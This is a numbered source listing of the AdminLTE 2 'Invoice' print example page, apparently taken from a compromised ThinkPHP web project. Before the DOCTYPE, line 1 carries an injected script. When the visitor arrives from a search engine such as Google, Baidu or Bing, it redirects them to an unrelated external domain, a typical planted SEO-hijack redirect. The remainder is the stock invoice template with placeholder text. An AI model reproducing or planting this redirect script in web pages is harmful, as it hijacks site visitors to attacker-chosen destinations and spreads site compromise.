d:\wwwroot\wuchunhua\thinkphp\public\adminlte\pages\examples\invoice-print.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002:
<html>
003:
<head>
004:
<meta charset="utf-8">
005:
<meta http-equiv="X-UA-Compatible" content="IE=edge">
006:
<title>AdminLTE 2 | Invoice</title>
007:
<!-- Tell the browser to be responsive to screen width -->
008:
<meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
009:
<!-- Bootstrap 3.3.7 -->
010:
<link rel="stylesheet" href="../../bootstrap/css/bootstrap.min.css">
011:
<!-- Font Awesome -->
012:
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.5.0/css/font-awesome.min.css">
013:
<!-- Ionicons -->
014:
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ionicons/2.0.1/css/ionicons.min.css">
015:
<!-- Theme style -->
016:
<link rel="stylesheet" href="../../dist/css/AdminLTE.min.css">
017:
018:
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
019:
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
020:
<!--[if lt IE 9]>
021:
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
022:
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
023:
<![endif]-->
024:
025:
<!-- Google Font -->
026:
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,600,700,300italic,400italic,600italic">
027:
</head>
028:
<body onload="window.print();">
029:
<div class="wrapper">
030:
<!-- Main content -->
031:
<section class="invoice">
032:
<!-- title row -->
033:
<div class="row">
034:
<div class="col-xs-12">
035:
<h2 class="page-header">
036:
<i class="fa fa-globe"></i> AdminLTE, Inc.
037:
<small class="pull-right">Date: 2/10/2014</small>
038:
</h2>
039:
</div>
040:
<!-- /.col -->
041:
</div>
042:
<!-- info row -->
043:
<div class="row invoice-info">
044:
<div class="col-sm-4 invoice-col">
045:
From
046:
<address>
047:
<strong>Admin, Inc.</strong><br>
048:
795 Folsom Ave, Suite 600<br>
049:
San Francisco, CA 94107<br>
050:
Phone: (804) 123-5432<br>
051:
Email: info@almasaeedstudio.com
052:
</address>
053:
</div>
054:
<!-- /.col -->
055:
<div class="col-sm-4 invoice-col">
056:
To
057:
<address>
058:
<strong>John Doe</strong><br>
059:
795 Folsom Ave, Suite 600<br>
060:
San Francisco, CA 94107<br>
061:
Phone: (555) 539-1037<br>
062:
Email: john.doe@example.com
063:
</address>
064:
</div>
065:
<!-- /.col -->
066:
<div class="col-sm-4 invoice-col">
067:
<b>Invoice #007612</b><br>
068:
<br>
069:
<b>Order ID:</b> 4F3S8J<br>
070:
<b>Payment Due:</b> 2/22/2014<br>
071:
<b>Account:</b> 968-34567
072:
</div>
073:
<!-- /.col -->
074:
</div>
075:
<!-- /.row -->
076:
077:
<!-- Table row -->
078:
<div class="row">
079:
<div class="col-xs-12 table-responsive">
080:
<table class="table table-striped">
081:
<thead>
082:
<tr>
083:
<th>Qty</th>
084:
<th>Product</th>
085:
<th>Serial #</th>
086:
<th>Description</th>
087:
<th>Subtotal</th>
088:
</tr>
089:
</thead>
090:
<tbody>
091:
<tr>
092:
<td>1</td>
093:
<td>Call of Duty</td>
094:
<td>455-981-221</td>
095:
<td>El snort testosterone trophy driving gloves handsome</td>
096:
<td>$64.50</td>
097:
</tr>
098:
<tr>
099:
<td>1</td>
100:
<td>Need for Speed IV</td>
101:
<td>247-925-726</td>
102:
<td>Wes Anderson umami biodiesel</td>
103:
<td>$50.00</td>
104:
</tr>
105:
<tr>
106:
<td>1</td>
107:
<td>Monsters DVD</td>
108:
<td>735-845-642</td>
109:
<td>Terry Richardson helvetica tousled street art master</td>
110:
<td>$10.70</td>
111:
</tr>
112:
<tr>
113:
<td>1</td>
114:
<td>Grown Ups Blue Ray</td>
115:
<td>422-568-642</td>
116:
<td>Tousled lomo letterpress</td>
117:
<td>$25.99</td>
118:
</tr>
119:
</tbody>
120:
</table>
121:
</div>
122:
<!-- /.col -->
123:
</div>
124:
<!-- /.row -->
125:
126:
<div class="row">
127:
<!-- accepted payments column -->
128:
<div class="col-xs-6">
129:
<p class="lead">Payment Methods:</p>
130:
<img src="../../dist/img/credit/visa.png" alt="Visa">
131:
<img src="../../dist/img/credit/mastercard.png" alt="Mastercard">
132:
<img src="../../dist/img/credit/american-express.png" alt="American Express">
133:
<img src="../../dist/img/credit/paypal2.png" alt="Paypal">
134:
135:
<p class="text-muted well well-sm no-shadow" style="margin-top: 10px;">
136:
Etsy doostang zoodles disqus groupon greplin oooj voxy zoodles, weebly ning heekya handango imeem plugg dopplr
137:
jibjab, movity jajah plickers sifteo edmodo ifttt zimbra.
138:
</p>
139:
</div>
140:
<!-- /.col -->
141:
<div class="col-xs-6">
142:
<p class="lead">Amount Due 2/22/2014</p>
143:
144:
<div class="table-responsive">
145:
<table class="table">
146:
<tr>
147:
<th style="width:50%">Subtotal:</th>
148:
<td>$250.30</td>
149:
</tr>
150:
<tr>
151:
<th>Tax (9.3%)</th>
152:
<td>$10.34</td>
153:
</tr>
154:
<tr>
155:
<th>Shipping:</th>
156:
<td>$5.80</td>
157:
</tr>
158:
<tr>
159:
<th>Total:</th>
160:
<td>$265.24</td>
161:
</tr>
162:
</table>
163:
</div>
164:
</div>
165:
<!-- /.col -->
166:
</div>
167:
<!-- /.row -->
168:
</section>
169:
<!-- /.content -->
170:
</div>
171:
<!-- ./wrapper -->
172:
</body>
173:
</html>
174:
175:
176: